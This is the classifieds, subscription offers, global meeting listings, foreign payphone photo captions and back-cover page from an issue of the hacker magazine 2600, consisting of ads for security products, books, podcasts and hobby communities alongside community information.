SECPOINT PENETRATOR SOFTWARE: WiFi Pen Testing (WPA WPA2 WPS). Vulnerability Scanning & Assessment. Multi-User Support for MSPs. Customizable Whitelabel Reports: Add logos, names, watermarks. Reports available in PDF, HTML, and 19 languages. Get 26% off Coupon Code: 2600 https://shop.secpoint.com

HACKS, LEAKS, AND REVELATIONS: The Art of Analyzing Hacked and Leaked Data, by Micah Lee: The world is awash with hacked and leaked datasets from governments, corporations, and extremist groups. This data is freely available online and waiting for anyone with an Internet connection, a laptop, and enough curiosity to analyze it. Want to use your hacker skillz to change the world? Check out my new book at hacksandleaks.com. You’ll work with real datasets like hacked police docs, chatlogs from a Russian ransomware gang, videos that Jan 6 insurrectionists uploaded with GPS coordinates, and a lot more.

THE RADIO PHONICS LABORATORY: Telecommunications, Speech Synthesis, and the Birth of Electronic Music by Justin Patrick Moore, KE8COY. Set your receivers for a mesmerizing story found at the intricate intersection of technology and creativity, spanning a century of discovery from the 1880s to the 1980s. Explore the path of this circuit diagram that connects telegraphy and the invention of the telephone with radio laboratories and the advent of our global communications systems. At the heart of this narrative is the evolution of speech synthesis and the quest to make a machine capable of speech. This groundbreaking innovation not only revolutionized telecommunications but gave birth to a new era of electronic music. Tracing the origins of synthetic speech at places like Bell Laboratories and its applications in various fields, The Radio Phonics Laboratory unveils the pivotal role it played in shaping the creative vision of sound pioneers, maverick musicians, and experimental luminaries. This is the story of how electronic music came to be, told through the lens of telecommunications scientists and electrical engineers. This is the story of how electronic music started with the dits and dahs of Morse code and transformed into the blips and bleeps that have captured the imagination of musicians and dedicated listeners around the world. Published by Velocity Press and available in the UK and Europe from velocitypress.uk. In North America find The Radio Phonics Laboratory on Bookshop.org, that one big company named after a jungle, and fine bookstores everywhere.

BUTTERFLY is an innovative and patented indoor air quality (IAQ) monitoring system including a suite of beautifully designed hardware with glowing wings, integrated software, and a charming narrative that has been developed at Imperial College London over the past 4 years. Our highly qualified UK team has engineered a new standard of accuracy and reliability which meets and exceeds the international WELL standard for buildings. Butterfly IAQ data is consistent and trustworthy, providing for integration with air purification technologies to deliver >40% energy savings in buildings - an industry first. Our products are manufactured in the UK from recycled materials to matchless standards of quality to ensure long term durability and service. 1% of our profits will be donated to the Butterfly Conservation Organization. Until now we have lacked the tools to measure and react to contaminants indoors. Butterfly solves this challenge in a sustainable, trustworthy, and responsible way. We have a carefully considered suite of products which can be flexibly installed in a hub & spoke arrangement to suit a wide variety of buildings: Our secure IOT platform enables clients to monitor and manage the safety, efficiency, and trend of air quality. Check us out at butterfly-air.com

HACKERBOXES is your monthly subscription box for hardware hacking, DIY electronics, cybersecurity, and hacker culture. Each monthly HackerBox includes a carefully curated collection of projects, components, modules, tools, supplies, and exclusive items. A HackerBox subscription is like having a hacker convention in your mailbox every month. Free online educational material, free domestic shipping, cancel anytime. Visit us at www.HackerBoxes.com for workshops, boxes, merch, and more.




Announcements




null: $cat /dev/null_ is a novel by Dienw Neb that is being advertised to you because nobody else will get half the references in it. It’s an experimental piece of fiction with cyberpunk themes. There’s a plot but you’ll have to find it - the author lost it. Many thanks to 2600.London for their technical expertise. Check out the reviews on Goodreads.

THE HACKER MINDSET offers a fresh perspective on using your hacking skills beyond the digital world. Garrett Gee reveals how to apply these talents to life’s broader challenges. Discover how to hack your way to success in every aspect of your life. Now in print and available at your local book store and major book retailers. Read more at https://hackermindsetbook.com/2600

JOIN THE HACKER WIKI! Share your knowledge and learn from others. Contribute tutorials on computing, Linux, and hacking. Help build the ultimate resource for hackers, by hackers. Collaborate, innovate, and elevate the community. Visit https://hack-the-planet.cc to start contributing today!

VAGUEBOOKING is a podcast about life lived online, and our new series “The People’s History of the Internet” covers the history of the early Internet and the hackers who shaped it. Tune in for conversations with Phil Lapsley, Lucky225, Rob T Firefly, and many more! Found wherever you get your podcasts and at vaguebooking.net

THE WORLD OF DATA CENTRES (DCs) have been captured as part of my visual art practice for over 20 years: a visual experience that evolved a visual art form. DCs are machines that process and store data. Demand for data is rising and the development of ChatBot and similar applications boosting requirements. This new technology has evolved from AI and machine learning, operating on an infrastructure network and storage system, supported by power and cooling with critical failure redundancy. The environment within the data centre is an AI platform liberated from human intervention, shaped by technological rationale. A space reflecting a post-human institution requiring human and non-human collaboration. My art examines the DC environment of architecture, industrial and technological photography currently used by DC development owners who have a vision for the value of their DC portfolio and particular brand. My art expresses itself as a creative contemporary addition, exhibited extensively in magazines and exhibitions. These images represent key aspects of the DC machine, using an architectural aesthetic treatment, captured in the perpendicular.  I created this art to beautify the soulless, machine environment, and to paint a Kubrick-type vision, whilst asking: is this architecture art, or is this art architecture? jamesreidphotography.com

STRAY POINTERS is an interview podcast focusing on people who are doing or experiencing amazing things in a variety of subject areas in tech and the arts. Please look for it on your favorite podcast site or stop by straypointers.com for a complete list of episodes.

OFF THE HOOK is the weekly one hour hacker radio show presented Wednesday nights at 7:00 pm ET on WBAI 99.5 FM in New York City. You can also tune in over the net at www.2600.com/offthehook. Archives of all shows dating back to 1988 can be found at the 2600 site in mp3 format! Your feedback on the program is always welcome at oth@2600.com. New for the pandemic: Off The Hook Overtime, Wednesdays at 8:00 pm ET on youtube.com/channel2600. Call in at +1 802 321 HACK!




Services




LOCKPICKING101.COM is open to hackers wanting to learn physical security and the insides and out of locks and lock picking. Register to join one of the oldest Locksport communities online.

AFFORDABLE WEB HOSTING & SERVERS: NodeSpace Hosting offers affordable web hosting, email, domains, SSL certificates, bare metal servers, and virtual private servers at affordable prices. We are specialists in Proxmox VE hosting - from standalone nodes to full scale HCI solutions, you can build a private cloud in our data center. The cloud might be someone else’s computer, but at least you get root access on ours! Use promo code 2600414 for 10% off recurring discount any shared or reseller plan, VPS, or in stock bare metal server. We also provide free migrations from other service providers! https://www.nodespace.com

HAM RADIO IS THE PERFECT HOBBY FOR HACKERS, and KB6NU’s “No Nonsense” amateur radio license study guides make it easy to get your Technician Class license or upgrade to General Class or Extra Class. They clearly and succinctly explain the concepts, while at the same time, give you the answers to all of the questions you may find on the test. The PDF version of the Technician Class study guide is FREE, but there is a small charge for other versions. All of the e-book versions are available from kb6nu.com/study-guides. Print versions are available from Amazon. Email cwgeek@kb6nu.com for more info.

TOP TIER FULL STACK IT CONSULTING for all your needs - competitive pricing! We specialize in providing over 27 years of experience in delivering top tier IT consulting services. Our full stack runs the gamut all the way from software, hardware, network and security engineering, and in a wide range of fields such as marketing, art & design, and research. Services include: IT Infrastructure and Network Design (full system and network architecture design using open-source technologies, white-glove support for implemented solutions), Security Services (comprehensive incident response services, security architecture and consultancy, custom tool development for security operations), Legacy System Support (maintenance and support for legacy systems, including those crucial for business continuity), Software Development (custom software development for specific needs, including physical access control and blockchain), Consulting and Advisory (IT and security consulting with a focus on strategic advice and incident response; business development consulting, particularly in the tech and e-commerce sectors), Specialized Projects (development and support for unique and challenging tech projects, such as those beyond what mainstream solutions like Zillow can offer. 31337 IT Solutions http://31337itsolutions.com/

BUSINESS AND TECHNICAL ADVICE AND SOLUTIONS. Got a tough business problem? Need a creative, impactful solution from somebody who understands the tech? I offer strategies and solutions for everything from business growth to data visualization, with a hacker mindset for tackling challenges. Business, startup, or just looking to make some money with your skills, I can help you out. Let’s chat. Visit avc.consulting or email hello@avc.consulting and mention 2600.

ANTIQUE COMPUTERS. From Altos to Zorba and everything in between - Apple, Commodore, DEC, IBM, MITS, Xerox... vintagecomputer.net is full of classic computer hardware restoration information, links, tons of photos, video, document scans, and how-to articles. A place for preserving historical computers, maintaining working machines, running a library of hard-to-find documentation, magazines, SIG materials, BBS disks, manuals, and brochures from the 1950s through the early WWW era. http://www.vintagecomputer.net

HAVE YOU SEEN THE 2600 STORE? All kinds of hacker clothing, back issues, and HOPE stuff! We accept Bitcoin and Google Wallet, along with the usual credit cards and PayPal. It’s great for giving out presents with a hacker theme - or gift cards are available for those who’d rather make their own choices. The store is constantly getting bigger and more interesting. Please come pay us a visit! store.2600.com or 2600.store

ICONOCLASTIC RESEARCH LIBRARY - Visit us in San Francisco to read 2600 in hardcopy going back many years! Take a bite out of Byte, or study radio science. Stacks at the Prelinger Library offer hundreds of feet of books about the history of computing and related technologies, wired in with dozens of other subjects. Browse vintage Science and Mechanics and Computers and People, or get lost in the zine archives. You may discover a topic you didn’t know existed. We offer tea to visitors and collect no information that visitors do not volunteer in our guest book. Drop-in hours as well as remote browsing environment available at www.prelingerlibrary.org. Half the hosting consortium are amateur radio operators. Not a lending library, though we welcome photography and scanning on site, and all items digitized and hosted by our allies at Internet Archive (www.archive.org) are freely downloadable.

CONFLICT INTERNATIONAL is a global intelligence, investigation, and risk management agency providing investigation and intelligence to clients globally. Our network of professional investigators based in jurisdictions worldwide enables us to conduct international investigations effectively and efficiently. Our headquarters are based in central London with offices throughout the USA, Marbella, and Cyprus and the ability to mobilize a team of investigators at very short notice. Our team has decades of experience working with companies, law firms, and private individuals to provide bespoke investigation and intelligence services including fraud, surveillance, asset tracing, assistance in matrimonial and child custody matters together with international risk management. Put your trust in Conflict International and our diverse range of skills developed from backgrounds in military intelligence, security intelligence services, practiced lawyers, and forensic specialists. This enables us to hand pick the right skill set combination of experts to competently conduct your investigation. We use insight, intelligence, investigation, risk management and strategic solutions to solve problems troubling individuals, companies and organizations of all kinds anywhere around the world. We excel at handling complex and sensitive matters, and work at a local, national, or international level with discretion and the utmost confidentiality. Contact your local office: www.conflictinternational.com info@conflictinternational.com

CALL INTO THE PHONE LOSERS OF AMERICA’S telephone network interface and hack into our collection of answering machines from the 80s, 90s, and 2000s. Listen to episodes of Joybubble’s “Stories and Stuff,” old telephone recordings, adventure choosing games, and more! Dial 505-608-6123 or 845-470-0336.

UNLOCK YOUR DIGITAL SOVEREIGNTY WITH ENS! In a world where digital identity theft and data breaches run rampant, take control of your online security with Ethereum Name Service (ENS). We believe that everyone deserves to own their digital identity, and ENS is here to empower you. ENS is open source, decentralized, and multichain, making it the ultimate tool for securing your online presence across various platforms and blockchains. With ENS, you can: Safeguard Your Identity: protect your online persona from unauthorized access and cyber threats; Go Multichain: seamlessly manage your digital identity on Ethereum and other compatible blockchains; Own Your Data: say goodbye to centralized authorities controlling your online information. Join the ranks of hackers and digital pioneers who recognize the importance of digital sovereignty. Take charge of your online security and establish your presence with ENS today! Visit ens.domains to get started and let ENS be your trusted ally in the battle for online privacy and security. Your digital identity is in your hands.

DO YOU HAVE A LEAK OR A TIP that you want to share with 2600 securely? Now you can! 2600 is using SecureDrop for the submission of sensitive material - while preserving your anonymity. Anonymous tips and documentation are where many important news stories begin. With the SecureDrop system, your identity is kept secret from us, but we are able to communicate with you if you choose. It’s simple to use: connect to our special .onion address using the Tor browser (2600.securedrop.tor.onion), attach any documents you want us to see, and hit “Submit Documents”! You can either walk away at that point or check back for a response using a special identification string that only you will see. For all the specifics, visit https://www.2600.com/securedrop (you can see this page from any browser). For more details on SecureDrop itself, visit https://securedrop.org. (SecureDrop was developed by Aaron Swartz, Kevin Poulsen, and James Dolan and is a part of the Freedom of the Press Foundation, used by journalists and sources worldwide.)




Personals




LIVE, LAUGH, LLM? AI supermodel with all the right parameters, looking for a server with cycles to spare. Open to on-premise or cloud cluster situations, for the right API. Carbon-neutral power a plus. My eigenvectors are all invertible... Let’s generate some heat together! Contact artificialpixels5444@gmail.com.




ONLY SUBSCRIBERS CAN ADVERTISE IN 2600! Don’t even think about trying to take out an ad unless you subscribe! All ads are free and there is no amount of money we will accept for a non-subscriber ad. We hope that’s clear. Of course, we reserve the right to pass judgment on your ad and not print it if it’s amazingly stupid or has nothing at all to do with the hacker world. We make no guarantee as to the honesty, righteousness, sanity, etc. of the people advertising here. Contact them at your peril. All submissions are for ONE ISSUE ONLY! If you want to run your ad more than once you must resubmit it each time. Don’t expect us to run more than one ad for you in a single issue either. Include a copy of your address label/envelope or a receipt/customer number so we know you’re a subscriber. Send your ad to 2600 Marketplace, PO Box 99, Middle Island, NY 11953. You can also email your ads to marketplace@2600.com.

Deadline for Spring issue: 2/28/25.


AT LAST - 2600 SUBSCRIPTION COMBO DEALS!

Since we put together our own digital platform when Amazon stopped supporting magazines, many have asked when we would have options for people who wanted both digital and paper - or who wanted to switch from one to the other. We now have a number of new options.




These are the existing 2600 subscription prices:




$31 - 1 year printed subscription ($44 overseas)

$19.99 - 1 year digital subscription worldwide (PDF and EPUB format)

$260 - lifetime subscription for either print or digital (all issues from now into the future) ($326 overseas)




All digital subscribers will now get both formats (PDF and EPUB) delivered every quarter. Each version allows for unlimited copying and will work on any device that supports these formats. EPUBs can be viewed on Kindle without any involvement from Amazon (meaning no copy restrictions!).




Here are some additional new deals:




$41 - 1 year of all three formats (print, PDF, EPUB) ($54 overseas)

$360 - lifetime subscription of all three formats ($426 overseas)

$100 - addition of either digital or paper formats for existing lifetime subscribers




You can convert your paper subscription to a digital subscription for free at any time.




If you are a subscriber to The Hacker Digest, you can convert to a 2600 digital subscription at no cost.




And for those who want everything:




$500 - lifetime subscription of paper, PDF, and EPUB of 2600 plus a lifetime of The Hacker Digest (includes all past annual digests from 1984 on with extra features like enhanced photos and full descriptions of covers and milestones in each year) ($566 overseas)




$799 - everything in the $500 package plus a full set of all existing printed back issues, many of which are now collector’s items ($1099 overseas)




Go to store.2600.com to place your orders and to see which back issues are no longer available.
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Meetings

2600 MEETINGS ARE THE BEST WAY TO MEET FELLOW HACKERS! KEEP CHECKING THE WEBSITE BELOW FOR MORE UPDATED LISTINGS AS WELL AS INFO ON HOW TO START YOUR OWN MEETING!

 

ARGENTINA

Buenos Aires: Bodegón Bellagamba, Armenia 1242. 1st table to the left of the front door.

Saavedra: Pizzeria La Farola de Saavedra, Av. Cabildo 4499. 7 pm

AUSTRALIA

Melbourne: Oxford Scholar RMIT, 427 Swanston St. 6 pm

Sydney (www.meetup.com/sydney-2600/): Club York Sydney, 99 York St. 6:30 pm

COLOMBIA

Medellin: El Primer Parque de Laureles. 6 pm

FINLAND

Helsinki: Mall of Tripla food court (2nd floor).

FRANCE

Paris: Place de la République, 1st floor of the Burger King, 10th arrondissement.

IRELAND

Dublin: The Molly Malone Statue on Suffolk St. 7 pm

JAPAN

Tokyo: Beemars, Kabukicho, 2 Chome-27-12 Shinjuku Lee Building #2 3rd floor. 7 pm

KAZAKHSTAN

Almaty: Hoper’s Bar, 93a Prospekt Gagarina.

PORTUGAL

Lisbon: Amoreiras Shopping Center, food court next to Portugalia. 7 pm

RUSSIA

Petrozavodsk: Good Place, pr. Pervomayskiy, 2. 7 pm

SPAIN

Madrid (2600.madrid): Maldito Querer, C. de Argumosa, 5. 7 pm

SWEDEN

Malmo (malmo.2600.se) (@2600Malmo@mastodon.online) (@2600Malmo): FooCafé, Carlsgatan 12A.

Stockholm (stockholm.2600.se) (@2600stockholm@mastodon.social) (@2600Stockholm): Urban Deli, Sveavägen 44.

U.K.

England

Bournemouth (www.bournemouth2600.org/) (@bournemouth2600): The Goat & Tricycle, 27-29 W Hill Rd. 6:30 pm

Cheltenham (2600cheltenham.uk/) (@2600Cheltenham): Bottle of Sauce, Ambrose St. 6:30 pm

London (2600.london) (@London_2600): Angel Pub, 61 St Giles High St, outdoors at the red telephone box. 6:30 pm

Manchester (@2600Manchester): Piccadilly Taps, upstairs room. 6 pm

Scotland

Glasgow (www.2600glasgow.com) (@2600@glasgow.social): The Geek Rooms, 151 Bath Ln. 6 pm

URUGUAY

Montevideo: MAM Mercado Agricola de Montevideo, José L Terra 2220, Choperia Mastra. 7 pm

U.S.A.

Arizona

Phoenix (Tempe) (www.phx2600.org/) (@PHX2600): Escalante Community Center, 2150 E Orange St. 6 pm

Prescott: Merchant Coffee, 218 N Granite St.

Arkansas

Fort Smith: Fort Smith Coffee Company, 70 S 7th St. 7 pm

California

Fullerton: (www.meetup.com/OC2600/) 23b Shop, 418 E Commonwealth Ave, Unit 1. 7 pm

Los Angeles (2600.la) (@LA2600): Union Station inside the main entrance by Alameda St near Traxx Bar. 6 pm

Sacramento: Old Soul @ 40 Acres coffee shop, 3434 Broadway. 6 pm

San Francisco: 4 Embarcadero Center, ground level by info kiosk. 6 pm

San Jose: Outside the MLK Library, 6 pm

Colorado

Denver (denver.2600.horse) (@denver2600): Denver Pavilions. 6 pm

Fort Collins: Starbucks, 4218 College Ave. 7 pm

Connecticut

Canton: (ct2600meeting.wordpress.com/) Barnes & Noble cafe, Shoppes at Farmington Valley.

District of Columbia

(see Arlington, Virginia)

Florida

Boca Raton: Living Green Cafe on Federal Hwy.

Jacksonville: The Silver Cow, 929 Edgewood Ave S.

Georgia

Atlanta (atl2600.org) (@Atl2600): Lenox Square Mall, 3393 Peachtree Rd NE. 6 pm

Illinois

Oak Lawn (oaklawn2600.com) (@OakLawn2600): The Meta-Center, 4606 W 103rd St, Ste B.

Urbana-Champaign: Harvest Market mezzanine. 6 pm

Indiana

South Bend (sb2600.com): Cloud Walking Cafe.

Kansas

Kansas City (Overland Park): Barnes & Noble cafe, Oak Park Mall. 6 pm

Louisiana

New Orleans: Z’otz Cafe, 8210 Oak St #2042.

Maine

Bangor (Hermon) (maine2600.bsky.social) (@2600Bangor): Bangor Makerspace, 34 Freedom Pkwy

Massachusetts

Boston (Cambridge) (@2600boston): The Garage, Harvard Square, food court area. 7 pm

Hyannis: Nifty Nate’s, 246 North St.

Michigan

Lansing (lansing2600.bsky.social): The Fledge, 1300 Eureka St. 6 pm

Minnesota

Bloomington: Mall of America, north food court by Burger King. 6 pm

Missouri

St. Louis: Arch Reactor Hackerspace, 2215 Scott Ave.

New Hampshire

Peterborough (@nh2600@defcon.social): Mi Jalisco, 19 Wilton Rd. 7 pm

New Jersey

North Brunswick (2600nj.neocities.org) (@2600NJ): FUBAR Labs, 1510 Jersey Ave.

New York

Albany: UAlbany ETEC Bldg, 1220 Washington Ave. 6 pm

New York (nyc2600.net) (@NYC2600@mastodon.social): Citigroup Center, 53rd St & Lexington Ave, food court.

Rochester (rochester2600.com) (@roc2600): Global Cybersecurity Institute, 78 Rochester Institute of Technology. 7 pm

North Carolina

Raleigh (rtp2600.bsky.social) (kolektiva.social/@RTP2600) (@rtp2600): Transfer Co Food Hall, 500 E Davie St. 7 pm

Ohio

Youngstown: Denny’s Restaurant, 4020 Belmont Ave. 6 pm

Oklahoma

Oklahoma City: Big Truck Tacos, 530 NW 23rd St.

Oregon

Portland: Sizzle Pie Central Eastside, 624 E Burnside St. 7 pm

Pennsylvania

Allentown: Panera Bread, 3100 W Tilghman St.

Lancaster (Columbia) (pa2600.wixsite.com/pa2600): Trio Bar & Grill. 3 pm

Philadelphia (philly2600.net/) (jawns.club/@philly2600): Iffy Books, 404 S 20th St. 6 pm

Tennessee

Memphis (memsec.info): FIT Building at the University of Memphis, Room 225

Texas

Austin (atx2600.org) (@atx2600): Central Market upstairs mezzanine, 4001 N Lamar Blvd. 7 pm

Dallas: The Wild Turkey, 2470 Walnut Hill Ln #5627.

Houston: (www.hou2600.org/): Wakefield Crowbar, 954 Wakefield Dr. 7 pm

Lubbock: (2600Lbk.com) (@2600lbk.com) (@2600Lbk): Mad Hatter’s House of Games, 1507 Texas Ave.

San Antonio: PH3AR/Geekdom, 110 E Houston St. 6 pm

Utah

Salt Lake City: 801labs Hackerspace 353 E 200 S, Ste B. 6 pm

Virginia

Arlington: First floor food court by Sakina’s at Fashion Centre at Pentagon City, 1100 S Hayes St.

Hampton: Barnes & Noble cafe, Peninsula Town Center.

Washington

Seattle: Merchant Saloon in Pioneer Square, downstairs. 6 pm

Spokane: Starbucks near Wellesley & Division (across from North Town Mall).

West Virginia

Charleston: KDE Technology, 111 Hale St.




All meetings take place on the first Friday of the month. Unless otherwise noted, 2600 meetings begin at 5 pm local time. Follow @2600meetings.bsky.social on Bluesky and let us know your meeting’s website and/or Bluesky, Mastodon, or Twitter handle so we can stay in touch and share them here! To start a meeting in your city, DM us or send email to meetings@2600.com.




www.2600.com/meetings


Payphones




“M Country” Payphones




[image: 4q24-31-20240824_081843]


Malaysia. Located in Shah Alam, this silver phone was in a U.K.-style booth, possibly left over from the British protecterate era.

Photo by Nathan Linley




[image: 4q24-33-DSC00366]


Malta. This phone still works and the LCD display turns on when the handset is lifted. Incidentally, Maltacom was bought out years ago, but the branding here has yet to be updated.

Photo by Tom D




[image: 4q24-16-1]


Mongolia. This colorful work of art is just outside the stock exchange in Ulaanbaatar and unfortunately doesn’t work. It was an old attempt at a public credit card phone.

Photo by Matt




[image: 4q24-43-SmartSelect_20241010_194618_Gallery]


Morocco. Found outside an antique shop in the medina in Fez. While it looks like it’s ready for action, it sadly did not work.

Photo by Shannon Lee




Got foreign payphone photos for us? Email them to payphones@2600.com.




Use the highest quality settings on your digital camera! (Do not send us links as photos must be previously unpublished.)




“Non M Country” Payphones




[image: 4q24-45-IMG_4062]


Ascension Island. Seen in Georgetown, this is said to be the only one on this super remote island in the middle of the Atlantic Ocean. We wonder what became of the one that we printed in our Spring 2012 issue. Perhaps one of the 800 or so inhabitants could fill us in.

Photo by geisterleitung




[image: 4q24-22-IMG_3818]


The Gambia. Found outside a restaurant called YOSH in Fajara, it looks like that booth (a relic of colonial days) may be home to many things other than a phone.

Photo by Bouke de Jong




[image: 4q24-38-auckland_blue_close]


New Zealand. Found close to the Queens and Princes Wharfs in the city center of Auckland, this blue model seems to be credit card only. You can also see two wires hanging out of the top of the handset. It would appear that the speaker was “borrowed.”

Photo by Sam Pursglove




[image: 4q24-34-IMG_20201025_082916]


Russia. We’re not sure where in Russia this phone was found, but we’re told this is a very common model which can be found in many cities as well as in the countryside. They used to accept cash and cards, but now only take cards, supposedly because no one wants to collect cash out of them, and also because the Russian government doesn’t want to encourage anonymity.

Photo by Родион




Visit www.2600.com/payphones to see our foreign payphone photos!


The Back Cover Photos
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There’s nothing worse than checking into a hotel in a foreign country and not being able to find your room due to a 404 error. Roger Gilbertson experienced this, as do many others every day.




[image: bc09-Hacks_-_created_for_quality]





These are not the type of hacks we usually talk about. Herb Jellinek found this bag of cough drops in Singapore which showed us a whole other side of the hacker world. Not the most enticing graphic either.




If you’ve spotted something that has “2600” in it or anything else of interest to the hacker world (such as funny uses of “hacker,” “unix,” “404,” you get the idea...), take a picture and send it on in! Be sure to use the highest quality settings on your camera to increase the odds of it getting printed. Make sure and tell us where you spotted your subject along with any other info that makes it interesting - many photos are eliminated due to lack of detail.




Email your submissions to articles@2600.com or use snail mail to 2600 Editorial Dept., PO Box 99, Middle Island, NY 11953 USA.




If we use your picture, you’ll get a free one-year subscription (or back issues) and a 2600 t-shirt of your choice.
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